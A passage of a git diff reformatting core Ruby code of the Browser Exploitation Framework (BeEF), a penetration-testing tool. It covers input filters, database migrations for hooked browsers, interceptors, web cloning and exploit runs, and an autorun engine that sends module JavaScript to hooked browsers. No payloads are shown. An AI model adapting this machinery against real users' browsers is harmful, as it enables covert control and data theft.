str.length > 1000 - if str.encoding === Encoding.find('UTF-8') - return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil? - else - return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil? + true end - end -end + # Verify the cookies are valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid cookie characters + def self.is_valid_cookies?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 2000 + + true + end + + # Verify the system platform is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid system platform characters + def self.is_valid_system_platform?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the date stamp is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid date stamp characters + def self.is_valid_date_stamp?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the CPU type string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid CPU type characters + def self.is_valid_cpu?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the memory string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid memory type characters + def self.is_valid_memory?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the GPU type string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid GPU type characters + def self.is_valid_gpu?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the browser_plugins string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser plugin characters + # @note This string can be empty if there are no browser plugins + # @todo Verify if the ruby version statement is still necessary + def self.is_valid_browser_plugins?(str) + return false unless is_non_empty_string?(str) + return false if str.length > 1000 + + if str.encoding === Encoding.find('UTF-8') + (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil? + else + (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil? + end + end + end end diff --git a/core/filters/command.rb b/core/filters/command.rb index 7607a0fdf0..65d2f5880c 100644 --- a/core/filters/command.rb +++ b/core/filters/command.rb @@ -4,64 +4,68 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters - - # Check if the string is a valid path from a HTTP request - # @param [String] str String for testing - # @return [Boolean] If the string has valid path characters - def self.is_valid_path_info?(str) - return false if str.nil? - return false unless str.is_a? String - return false if has_non_printable_char?(str) - true - end + module Filters + # Check if the string is a valid path from a HTTP request + # @param [String] str String for testing + # @return [Boolean] If the string has valid path characters + def self.is_valid_path_info?(str) + return false if str.nil? + return false unless str.is_a? String + return false if has_non_printable_char?(str) - # Check if the session id valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid hook session id characters - def self.is_valid_hook_session_id?(str) - return false unless is_non_empty_string?(str) - return false unless has_valid_key_chars?(str) - true - end + true + end - # Check if valid command module datastore key - # @param [String] str String for testing - # @return [Boolean] If the string has valid command module datastore key characters - def self.is_valid_command_module_datastore_key?(str) - return false unless is_non_empty_string?(str) - return false unless has_valid_key_chars?(str) - true - end + # Check if the session id valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid hook session id characters + def self.is_valid_hook_session_id?(str) + return false unless is_non_empty_string?(str) + return false unless has_valid_key_chars?(str) - # Check if valid command module datastore value - # @param [String] str String for testing - # @return [Boolean] If the string has valid command module datastore param characters - def self.is_valid_command_module_datastore_param?(str) - return false if has_null?(str) - return false unless has_valid_base_chars?(str) - true - end + true + end - # Check for word and some punc chars - # @param [String] str String for testing - # @return [Boolean] If the string has valid key characters - def self.has_valid_key_chars?(str) - return false unless is_non_empty_string?(str) - return false unless has_valid_base_chars?(str) - true - end + # Check if valid command module datastore key + # @param [String] str String for testing + # @return [Boolean] If the string has valid command module datastore key characters + def self.is_valid_command_module_datastore_key?(str) + return false unless is_non_empty_string?(str) + return false unless has_valid_key_chars?(str) - # Check for word and underscore chars - # @param [String] str String for testing - # @return [Boolean] If the sting has valid param characters - def self.has_valid_param_chars?(str) - return false if str.nil? - return false unless str.is_a? String - return false if str.empty? - return false unless (str =~ /[^\w_\:]/).nil? - true - end + true + end -end + # Check if valid command module datastore value + # @param [String] str String for testing + # @return [Boolean] If the string has valid command module datastore param characters + def self.is_valid_command_module_datastore_param?(str) + return false if has_null?(str) + return false unless has_valid_base_chars?(str) + + true + end + + # Check for word and some punc chars + # @param [String] str String for testing + # @return [Boolean] If the string has valid key characters + def self.has_valid_key_chars?(str) + return false unless is_non_empty_string?(str) + return false unless has_valid_base_chars?(str) + + true + end + + # Check for word and underscore chars + # @param [String] str String for testing + # @return [Boolean] If the sting has valid param characters + def self.has_valid_param_chars?(str) + return false if str.nil? + return false unless str.is_a? String + return false if str.empty? + return false unless (str =~ /[^\w_:]/).nil? + + true + end + end end diff --git a/core/filters/http.rb b/core/filters/http.rb index 4b049bf583..db3613a4a9 100644 --- a/core/filters/http.rb +++ b/core/filters/http.rb @@ -3,59 +3,60 @@ # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # -module BeEF -module Filters - - # Verify the hostname string is valid - # @param [String] str String for testing - # @return [Boolean] If the string is a valid hostname - def self.is_valid_hostname?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 255 - return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil? - true +module BeEF + module Filters + # Verify the hostname string is valid + # @param [String] str String for testing + # @return [Boolean] If the string is a valid hostname + def self.is_valid_hostname?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 255 + return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil? + + true + end + + def self.is_valid_verb?(verb) + %w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v } + false + end + + def self.is_valid_url?(uri) + return true unless uri.nil? + + # OPTIONS * is not yet supported + # return true if uri.eql? "*" + # TODO : CHECK THE normalize_path method and include it somewhere (maybe here) + # return true if uri.eql? self.normalize_path(uri) + false + end + + def self.is_valid_http_version?(version) + # from browsers the http version contains a space at the end ("HTTP/1.0\r") + version.gsub!(/\r+/, '') + ['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v } + false + end + + def self.is_valid_host_str?(host_str) + # from browsers the host header contains a space at the end + host_str.gsub!(/\r+/, '') + return true if 'Host:'.eql?(host_str) + + false + end + + def normalize_path(path) + print_error "abnormal path `#{path}'" if path[0] != '/' + ret = path.dup + + ret.gsub!(%r{/+}o, '/') # // => / + while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => / + while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo + + print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret + ret + end end - - def self.is_valid_verb?(verb) - ["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v } - false - end - - def self.is_valid_url?(uri) - return true if !uri.nil? - # OPTIONS * is not yet supported - #return true if uri.eql? "*" - # TODO : CHECK THE normalize_path method and include it somewhere (maybe here) - #return true if uri.eql? self.normalize_path(uri) - false - end - - def self.is_valid_http_version?(version) - # from browsers the http version contains a space at the end ("HTTP/1.0\r") - version.gsub!(/[\r]+/,"") - ["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v } - false - end - - def self.is_valid_host_str?(host_str) - # from browsers the host header contains a space at the end - host_str.gsub!(/[\r]+/,"") - return true if "Host:".eql?(host_str) - false - end - - def normalize_path(path) - print_error "abnormal path `#{path}'" if path[0] != ?/ - ret = path.dup - - ret.gsub!(%r{/+}o, '/') # // => / - while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => / - while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo - - print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret - ret - end - -end end diff --git a/core/filters/page.rb b/core/filters/page.rb index 9aa594adbd..e6b9986d2a 100644 --- a/core/filters/page.rb +++ b/core/filters/page.rb @@ -4,27 +4,27 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters - - # Verify the page title string is valid - # @param [String] str String for testing - # @return [Boolean] If the string is a valid page title - def self.is_valid_pagetitle?(str) - return false unless str.is_a? String - return false if has_non_printable_char?(str) - return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer - true - end + module Filters + # Verify the page title string is valid + # @param [String] str String for testing + # @return [Boolean] If the string is a valid page title + def self.is_valid_pagetitle?(str) + return false unless str.is_a? String + return false if has_non_printable_char?(str) + return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer + + true + end - # Verify the page referrer string is valid - # @param [String] str String for testing - # @return [Boolean] If the string is a valid referrer - def self.is_valid_pagereferrer?(str) - return false unless str.is_a? String - return false if has_non_printable_char?(str) - return false if str.length > 350 - true + # Verify the page referrer string is valid + # @param [String] str String for testing + # @return [Boolean] If the string is a valid referrer + def self.is_valid_pagereferrer?(str) + return false unless str.is_a? String + return false if has_non_printable_char?(str) + return false if str.length > 350 + + true + end end - -end end diff --git a/core/hbmanager.rb b/core/hbmanager.rb index dab1a6ac15..09f194708e 100644 --- a/core/hbmanager.rb +++ b/core/hbmanager.rb @@ -5,12 +5,11 @@ # module BeEF module HBManager - # Get hooked browser by session id # @param [String] sid hooked browser session id string # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser def self.get_by_session(sid) - BeEF::Core::Models::HookedBrowser.where(:session => sid).first + BeEF::Core::Models::HookedBrowser.where(session: sid).first end # Get hooked browser by id @@ -19,6 +18,5 @@ def self.get_by_session(sid) def self.get_by_id(id) BeEF::Core::Models::HookedBrowser.find(id) end - end end diff --git a/core/logger.rb b/core/logger.rb index d2ca88d7ce..487244fac2 100644 --- a/core/logger.rb +++ b/core/logger.rb @@ -12,8 +12,8 @@ class << self attr_writer :logger def logger - @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log| - log.progname = self.name + @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log| + log.progname = name log.level = Logger::WARN end end diff --git a/core/main/ar-migrations/001_create_command_modules.rb b/core/main/ar-migrations/001_create_command_modules.rb index d43259b894..646554b772 100644 --- a/core/main/ar-migrations/001_create_command_modules.rb +++ b/core/main/ar-migrations/001_create_command_modules.rb @@ -1,12 +1,8 @@ class CreateCommandModules < ActiveRecord::Migration[6.0] - - def change - - create_table :command_modules do |t| - t.text :name - t.text :path - end - - end - + def change + create_table :command_modules do |t| + t.text :name + t.text :path + end + end end diff --git a/core/main/ar-migrations/002_create_hooked_browsers.rb b/core/main/ar-migrations/002_create_hooked_browsers.rb index c1e932888c..4fb6aaf0a7 100644 --- a/core/main/ar-migrations/002_create_hooked_browsers.rb +++ b/core/main/ar-migrations/002_create_hooked_browsers.rb @@ -1,19 +1,15 @@ class CreateHookedBrowsers < ActiveRecord::Migration[6.0] - - def change - - create_table :hooked_browsers do |t| - t.text :session - t.text :ip - t.text :firstseen - t.text :lastseen - t.text :httpheaders - t.text :domain - t.integer :port - t.integer :count - t.boolean :is_proxy - end - - end - + def change + create_table :hooked_browsers do |t| + t.text :session + t.text :ip + t.text :firstseen + t.text :lastseen + t.text :httpheaders + t.text :domain + t.integer :port + t.integer :count + t.boolean :is_proxy + end + end end diff --git a/core/main/ar-migrations/003_create_logs.rb b/core/main/ar-migrations/003_create_logs.rb index e3614718ae..1a83c0d614 100644 --- a/core/main/ar-migrations/003_create_logs.rb +++ b/core/main/ar-migrations/003_create_logs.rb @@ -1,14 +1,10 @@ class CreateLogs < ActiveRecord::Migration[6.0] - - def change - - create_table :logs do |t| - t.text :logtype - t.text :event - t.datetime :date - t.references :hooked_browser - end - - end - + def change + create_table :logs do |t| + t.text :logtype + t.text :event + t.datetime :date + t.references :hooked_browser + end + end end diff --git a/core/main/ar-migrations/004_create_commands.rb b/core/main/ar-migrations/004_create_commands.rb index 20c9d632ac..fe8cad65c9 100644 --- a/core/main/ar-migrations/004_create_commands.rb +++ b/core/main/ar-migrations/004_create_commands.rb @@ -1,16 +1,12 @@ class CreateCommands < ActiveRecord::Migration[6.0] - - def change - - create_table :commands do |t| - t.references :command_module - t.references :hooked_browser - t.text :data - t.datetime :creationdate - t.text :label - t.boolean :instructions_sent, default: false - end - - end - + def change + create_table :commands do |t| + t.references :command_module + t.references :hooked_browser + t.text :data + t.datetime :creationdate + t.text :label + t.boolean :instructions_sent, default: false + end + end end diff --git a/core/main/ar-migrations/005_create_results.rb b/core/main/ar-migrations/005_create_results.rb index 97d1c6fad7..bd79f9e507 100644 --- a/core/main/ar-migrations/005_create_results.rb +++ b/core/main/ar-migrations/005_create_results.rb @@ -1,15 +1,11 @@ class CreateResults < ActiveRecord::Migration[6.0] - - def change - - create_table :results do |t| - t.references :command - t.references :hooked_browser - t.datetime :date - t.integer :status - t.text :data - end - - end - + def change + create_table :results do |t| + t.references :command + t.references :hooked_browser + t.datetime :date + t.integer :status + t.text :data + end + end end diff --git a/core/main/ar-migrations/006_create_option_caches.rb b/core/main/ar-migrations/006_create_option_caches.rb index 6f605663ad..02d871d66e 100644 --- a/core/main/ar-migrations/006_create_option_caches.rb +++ b/core/main/ar-migrations/006_create_option_caches.rb @@ -1,12 +1,8 @@ class CreateOptionCaches < ActiveRecord::Migration[6.0] - - def change - - create_table :option_caches do |t| - t.text :name - t.text :value - end - - end - + def change + create_table :option_caches do |t| + t.text :name + t.text :value + end + end end diff --git a/core/main/ar-migrations/007_create_browser_details.rb b/core/main/ar-migrations/007_create_browser_details.rb index 5404453d26..8aa0512778 100644 --- a/core/main/ar-migrations/007_create_browser_details.rb +++ b/core/main/ar-migrations/007_create_browser_details.rb @@ -1,13 +1,9 @@ class CreateBrowserDetails < ActiveRecord::Migration[6.0] - - def change - - create_table :browser_details do |t| - t.text :session_id - t.text :detail_key - t.text :detail_value - end - - end - + def change + create_table :browser_details do |t| + t.text :session_id + t.text :detail_key + t.text :detail_value + end + end end diff --git a/core/main/ar-migrations/008_create_executions.rb b/core/main/ar-migrations/008_create_executions.rb index deeb4206e6..b209e444db 100644 --- a/core/main/ar-migrations/008_create_executions.rb +++ b/core/main/ar-migrations/008_create_executions.rb @@ -1,18 +1,14 @@ class CreateExecutions < ActiveRecord::Migration[6.0] - - def change - - create_table :executions do |t| - t.text :session_id - t.integer :mod_count - t.integer :mod_successful - t.text :mod_body - t.text :exec_time - t.text :rule_token - t.boolean :is_sent - t.integer :rule_id - end - - end - + def change + create_table :executions do |t| + t.text :session_id + t.integer :mod_count + t.integer :mod_successful + t.text :mod_body + t.text :exec_time + t.text :rule_token + t.boolean :is_sent + t.integer :rule_id + end + end end diff --git a/core/main/ar-migrations/009_create_rules.rb b/core/main/ar-migrations/009_create_rules.rb index de53677912..80cf2f79ab 100644 --- a/core/main/ar-migrations/009_create_rules.rb +++ b/core/main/ar-migrations/009_create_rules.rb @@ -1,20 +1,16 @@ class CreateRules < ActiveRecord::Migration[6.0] - - def change - - create_table :rules do |t| - t.text :name - t.text :author - t.text :browser - t.text :browser_version - t.text :os - t.text :os_version - t.text :modules - t.text :execution_order - t.text :execution_delay - t.text :chain_mode - end - - end - + def change + create_table :rules do |t| + t.text :name + t.text :author + t.text :browser + t.text :browser_version + t.text :os + t.text :os_version + t.text :modules + t.text :execution_order + t.text :execution_delay + t.text :chain_mode + end + end end diff --git a/core/main/ar-migrations/010_create_interceptor.rb b/core/main/ar-migrations/010_create_interceptor.rb index 1dbb6d6b75..2edca9d08b 100644 --- a/core/main/ar-migrations/010_create_interceptor.rb +++ b/core/main/ar-migrations/010_create_interceptor.rb @@ -1,12 +1,8 @@ class CreateInterceptor < ActiveRecord::Migration[6.0] - - def change - - create_table :interceptors do |t| - t.text :ip - t.text :post_data - end - - end - + def change + create_table :interceptors do |t| + t.text :ip + t.text :post_data + end + end end diff --git a/core/main/ar-migrations/011_create_web_cloner.rb b/core/main/ar-migrations/011_create_web_cloner.rb index 38c351ad6d..1b7457c6ef 100644 --- a/core/main/ar-migrations/011_create_web_cloner.rb +++ b/core/main/ar-migrations/011_create_web_cloner.rb @@ -1,12 +1,8 @@ class CreateWebCloner < ActiveRecord::Migration[6.0] - - def change - - create_table :web_cloners do |t| - t.text :uri - t.text :mount - end - - end - + def change + create_table :web_cloners do |t| + t.text :uri + t.text :mount + end + end end diff --git a/core/main/ar-migrations/012_create_mass_mailer.rb b/core/main/ar-migrations/012_create_mass_mailer.rb index d4816f186a..5225639e19 100644 --- a/core/main/ar-migrations/012_create_mass_mailer.rb +++ b/core/main/ar-migrations/012_create_mass_mailer.rb @@ -1,11 +1,7 @@ class CreateMassMailer < ActiveRecord::Migration[6.0] - - def change - - create_table :mass_mailers do |t| - #todo fields - end - - end - + def change + create_table :mass_mailers do |t| + # TODO: fields + end + end end diff --git a/core/main/ar-migrations/013_create_network_host.rb b/core/main/ar-migrations/013_create_network_host.rb index 3c977b2476..4381042b7e 100644 --- a/core/main/ar-migrations/013_create_network_host.rb +++ b/core/main/ar-migrations/013_create_network_host.rb @@ -1,17 +1,13 @@ class CreateNetworkHost < ActiveRecord::Migration[6.0] - - def change - - create_table :network_hosts do |t| - t.references :hooked_browser - t.text :ip - t.text :hostname - t.text :ntype - t.text :os - t.text :mac - t.text :lastseen - end - - end - + def change + create_table :network_hosts do |t| + t.references :hooked_browser + t.text :ip + t.text :hostname + t.text :ntype + t.text :os + t.text :mac + t.text :lastseen + end + end end diff --git a/core/main/ar-migrations/014_create_network_service.rb b/core/main/ar-migrations/014_create_network_service.rb index 1f521a19e0..abe1d57654 100644 --- a/core/main/ar-migrations/014_create_network_service.rb +++ b/core/main/ar-migrations/014_create_network_service.rb @@ -1,15 +1,11 @@ class CreateNetworkService < ActiveRecord::Migration[6.0] - - def change - - create_table :network_services do |t| - t.references :hooked_browser - t.text :proto - t.text :ip - t.text :port - t.text :ntype - end - - end - + def change + create_table :network_services do |t| + t.references :hooked_browser + t.text :proto + t.text :ip + t.text :port + t.text :ntype + end + end end diff --git a/core/main/ar-migrations/015_create_http.rb b/core/main/ar-migrations/015_create_http.rb index 184f8844bf..aa3823f8b9 100644 --- a/core/main/ar-migrations/015_create_http.rb +++ b/core/main/ar-migrations/015_create_http.rb @@ -1,44 +1,40 @@ class CreateHttp < ActiveRecord::Migration[6.0] - - def change - - create_table :https do |t| - t.text :hooked_browser_id - # The http request to perform. In clear text. - t.text :request - # Boolean value as string to say whether cross-domain requests are allowed - t.boolean :allow_cross_domain, :default => true - # The http response body received. In clear text. - t.text :response_data - # The http response code. Useful to handle cases like 404, 500, 302, ... - t.integer :response_status_code - # The http response code. Human-readable code: success, error, ecc.. - t.text :response_status_text - # The port status. closed, open or not http - t.text :response_port_status - # The XHR Http response raw headers - t.text :response_headers - # The http response method. GET or POST. - t.text :method - # The content length for the request. - t.text :content_length, :default => 0 - # The request protocol/scheme (http/https) - t.text :proto - # The domain on which perform the request. - t.text :domain - # The port on which perform the request. - t.text :port - # Boolean value to say if the request was cross-domain - t.text :has_ran, :default => "waiting" - # The path of the request. - # Example: /secret.html - t.text :path - # The date at which the http response has been saved. - t.datetime :response_date - # The date at which the http request has been saved. - t.datetime :request_date - end - - end - + def change + create_table :https do |t| + t.text :hooked_browser_id + # The http request to perform. In clear text. + t.text :request + # Boolean value as string to say whether cross-domain requests are allowed + t.boolean :allow_cross_domain, default: true + # The http response body received. In clear text. + t.text :response_data + # The http response code. Useful to handle cases like 404, 500, 302, ... + t.integer :response_status_code + # The http response code. Human-readable code: success, error, ecc.. + t.text :response_status_text + # The port status. closed, open or not http + t.text :response_port_status + # The XHR Http response raw headers + t.text :response_headers + # The http response method. GET or POST. + t.text :method + # The content length for the request. + t.text :content_length, default: 0 + # The request protocol/scheme (http/https) + t.text :proto + # The domain on which perform the request. + t.text :domain + # The port on which perform the request. + t.text :port + # Boolean value to say if the request was cross-domain + t.text :has_ran, default: 'waiting' + # The path of the request. + # Example: /secret.html + t.text :path + # The date at which the http response has been saved. + t.datetime :response_date + # The date at which the http request has been saved. + t.datetime :request_date + end + end end diff --git a/core/main/ar-migrations/016_create_rtc_status.rb b/core/main/ar-migrations/016_create_rtc_status.rb index dae86650e7..f80bd18f69 100644 --- a/core/main/ar-migrations/016_create_rtc_status.rb +++ b/core/main/ar-migrations/016_create_rtc_status.rb @@ -1,13 +1,9 @@ class CreateRtcStatus < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_statuss do |t| - t.references :hooked_browser - t.integer :target_hooked_browser_id - t.text :status - end - - end - + def change + create_table :rtc_statuss do |t| + t.references :hooked_browser + t.integer :target_hooked_browser_id + t.text :status + end + end end diff --git a/core/main/ar-migrations/017_create_rtc_manage.rb b/core/main/ar-migrations/017_create_rtc_manage.rb index 16239ad7ef..3a1d001b4b 100644 --- a/core/main/ar-migrations/017_create_rtc_manage.rb +++ b/core/main/ar-migrations/017_create_rtc_manage.rb @@ -1,13 +1,9 @@ class CreateRtcManage < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_manages do |t| - t.references :hooked_browser - t.text :message - t.text :has_sent, default: "waiting" - end - - end - + def change + create_table :rtc_manages do |t| + t.references :hooked_browser + t.text :message + t.text :has_sent, default: 'waiting' + end + end end diff --git a/core/main/ar-migrations/018_create_rtc_signal.rb b/core/main/ar-migrations/018_create_rtc_signal.rb index 5d1b0b7cc6..4ee451dd41 100644 --- a/core/main/ar-migrations/018_create_rtc_signal.rb +++ b/core/main/ar-migrations/018_create_rtc_signal.rb @@ -1,14 +1,10 @@ class CreateRtcSignal < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_signals do |t| - t.references :hooked_browser - t.integer :target_hooked_browser_id - t.text :signal - t.text :has_sent, default: "waiting" - end - - end - + def change + create_table :rtc_signals do |t| + t.references :hooked_browser + t.integer :target_hooked_browser_id + t.text :signal + t.text :has_sent, default: 'waiting' + end + end end diff --git a/core/main/ar-migrations/019_create_rtc_module_status.rb b/core/main/ar-migrations/019_create_rtc_module_status.rb index abeb941c37..9638643da2 100644 --- a/core/main/ar-migrations/019_create_rtc_module_status.rb +++ b/core/main/ar-migrations/019_create_rtc_module_status.rb @@ -1,14 +1,10 @@ class CreateRtcModuleStatus < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_module_statuss do |t| - t.references :hooked_browser - t.references :command_module - t.integer :target_hooked_browser_id - t.text :status - end - - end - + def change + create_table :rtc_module_statuss do |t| + t.references :hooked_browser + t.references :command_module + t.integer :target_hooked_browser_id + t.text :status + end + end end diff --git a/core/main/ar-migrations/020_create_xssrays_detail.rb b/core/main/ar-migrations/020_create_xssrays_detail.rb index 22900b5018..e8f065d58f 100644 --- a/core/main/ar-migrations/020_create_xssrays_detail.rb +++ b/core/main/ar-migrations/020_create_xssrays_detail.rb @@ -1,14 +1,10 @@ class CreateXssraysDetail < ActiveRecord::Migration[6.0] - - def change - - create_table :xssraysdetails do |t| - t.references :hooked_browser - t.text :vector_name - t.text :vector_method - t.text :vector_poc - end - - end - + def change + create_table :xssraysdetails do |t| + t.references :hooked_browser + t.text :vector_name + t.text :vector_method + t.text :vector_poc + end + end end diff --git a/core/main/ar-migrations/021_create_dns_rule.rb b/core/main/ar-migrations/021_create_dns_rule.rb index bcc877b36a..daf1e274b2 100644 --- a/core/main/ar-migrations/021_create_dns_rule.rb +++ b/core/main/ar-migrations/021_create_dns_rule.rb @@ -1,14 +1,10 @@ class CreateDnsRule < ActiveRecord::Migration[6.0] - - def change - - create_table :dns_rules do |t| - t.text :pattern - t.text :resource - t.text :response - t.text :callback - end - - end - + def change + create_table :dns_rules do |t| + t.text :pattern + t.text :resource + t.text :response + t.text :callback + end + end end diff --git a/core/main/ar-migrations/022_create_ipec_exploit.rb b/core/main/ar-migrations/022_create_ipec_exploit.rb index 228d1afc0b..6bf6ed46aa 100644 --- a/core/main/ar-migrations/022_create_ipec_exploit.rb +++ b/core/main/ar-migrations/022_create_ipec_exploit.rb @@ -1,13 +1,9 @@ class CreateIpecExploit < ActiveRecord::Migration[6.0] - - def change - - create_table :ipec_exploits do |t| - t.text :name - t.text :protocol - t.text :os - end - - end - + def change + create_table :ipec_exploits do |t| + t.text :name + t.text :protocol + t.text :os + end + end end diff --git a/core/main/ar-migrations/023_create_ipec_exploit_run.rb b/core/main/ar-migrations/023_create_ipec_exploit_run.rb index 7b7526665c..d48c8eabf7 100644 --- a/core/main/ar-migrations/023_create_ipec_exploit_run.rb +++ b/core/main/ar-migrations/023_create_ipec_exploit_run.rb @@ -1,13 +1,9 @@ class CreateIpecExploitRun < ActiveRecord::Migration[6.0] - - def change - - create_table :ipec_exploit_runs do |t| - t.boolean :launched - t.text :http_headers - t.text :junk_size - end - - end - + def change + create_table :ipec_exploit_runs do |t| + t.boolean :launched + t.text :http_headers + t.text :junk_size + end + end end diff --git a/core/main/ar-migrations/024_create_autoloader.rb b/core/main/ar-migrations/024_create_autoloader.rb index 4ebe1197af..a88e06d8f1 100644 --- a/core/main/ar-migrations/024_create_autoloader.rb +++ b/core/main/ar-migrations/024_create_autoloader.rb @@ -1,12 +1,8 @@ class CreateAutoloader < ActiveRecord::Migration[6.0] - - def change - - create_table :autoloaders do |t| - t.references :command - t.boolean :in_use - end - - end - + def change + create_table :autoloaders do |t| + t.references :command + t.boolean :in_use + end + end end diff --git a/core/main/ar-migrations/025_create_xssrays_scan.rb b/core/main/ar-migrations/025_create_xssrays_scan.rb index 67122a5f9a..04bf642667 100644 --- a/core/main/ar-migrations/025_create_xssrays_scan.rb +++ b/core/main/ar-migrations/025_create_xssrays_scan.rb @@ -1,18 +1,14 @@ class CreateXssraysScan < ActiveRecord::Migration[6.0] - - def change - - create_table :xssraysscans do |t| - t.references :hooked_browser - t.datetime :scan_start - t.datetime :scan_finish - t.text :domain - t.text :cross_domain - t.integer :clean_timeout - t.boolean :is_started - t.boolean :is_finished - end - - end - + def change + create_table :xssraysscans do |t| + t.references :hooked_browser + t.datetime :scan_start + t.datetime :scan_finish + t.text :domain + t.text :cross_domain + t.integer :clean_timeout + t.boolean :is_started + t.boolean :is_finished + end + end end diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb index 88d0c9f193..99b9d225e4 100644 --- a/core/main/autorun_engine/engine.rb +++ b/core/main/autorun_engine/engine.rb @@ -6,9 +6,7 @@ module BeEF module Core module AutorunEngine - class Engine - include Singleton def initialize @@ -20,8 +18,8 @@ def initialize @debug_on = @config.get('beef.debug') - @VERSION = ['<','<=','==','>=','>','ALL'] - @VERSION_STR = ['XP','Vista'] + @VERSION = ['<', '<=', '==', '>=', '>', 'ALL'] + @VERSION_STR = %w[XP Vista] end # Check if the hooked browser type/version and OS type/version match any Rule-sets @@ -30,13 +28,12 @@ def initialize def run(hb_id, browser_name, browser_version, os_name, os_version) are = BeEF::Core::AutorunEngine::Engine.instance match_rules = are.match(browser_name, browser_version, os_name, os_version) - are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0 + are.trigger(match_rules, hb_id) if !match_rules.nil? && match_rules.length > 0 end # Prepare and return the JavaScript of the modules to be sent. # It also updates the rules ARE execution table with timings def trigger(rule_ids, hb_id) - hb = BeEF::HBManager.get_by_id(hb_id) hb_session = hb.session @@ -48,26 +45,25 @@ def trigger(rule_ids, hb_id) execution_delay = JSON.parse(rule.execution_delay) chain_mode = rule.chain_mode - mods_bodies = Array.new - mods_codes = Array.new - mods_conditions = Array.new + mods_bodies = [] + mods_codes = [] + mods_conditions = [] # this ensures that if both rule A and rule B call the same module in sequential mode, # execution will be correct preventing wrapper functions to be called with equal names. rule_token = SecureRandom.hex(5) modules.each do |cmd_mod| - mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first + mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first options = [] replace_input = false - cmd_mod['options'].each do|k,v| - options.push({'name' => k, 'value' => v}) + cmd_mod['options'].each do |k, v| + options.push({ 'name' => k, 'value' => v }) replace_input = true if v == '<>' end command_body = prepare_command(mod, options, hb_id, replace_input, rule_token) - mods_bodies.push(command_body) mods_codes.push(cmd_mod['code']) mods_conditions.push(cmd_mod['condition']) @@ -75,32 +71,31 @@ def trigger(rule_ids, hb_id) # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper case chain_mode - when 'nested-forward' - wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) - when 'sequential' - wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) - else - wrapper = nil - print_error "Chain mode looks wrong!" - # TODO catch error, which should never happen as values are checked way before ;-) + when 'nested-forward' + wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) + when 'sequential' + wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) + else + wrapper = nil + print_error 'Chain mode looks wrong!' + # TODO: catch error, which should never happen as values are checked way before ;-) end are_exec = BeEF::Core::Models::Execution.new( - :session_id => hb_session, - :mod_count => modules.length, - :mod_successful => 0, - :rule_token => rule_token, - :mod_body => wrapper, - :is_sent => false, - :id => rule_id + session_id: hb_session, + mod_count: modules.length, + mod_successful: 0, + rule_token: rule_token, + mod_body: wrapper, + is_sent: false, + id: rule_id ) are_exec.save! # Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-) - print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}" + print_more "Triggering ruleset #{rule_ids} on HB #{hb_id}" end end - # Wraps module bodies in their own function, using setTimeout to trigger them with an 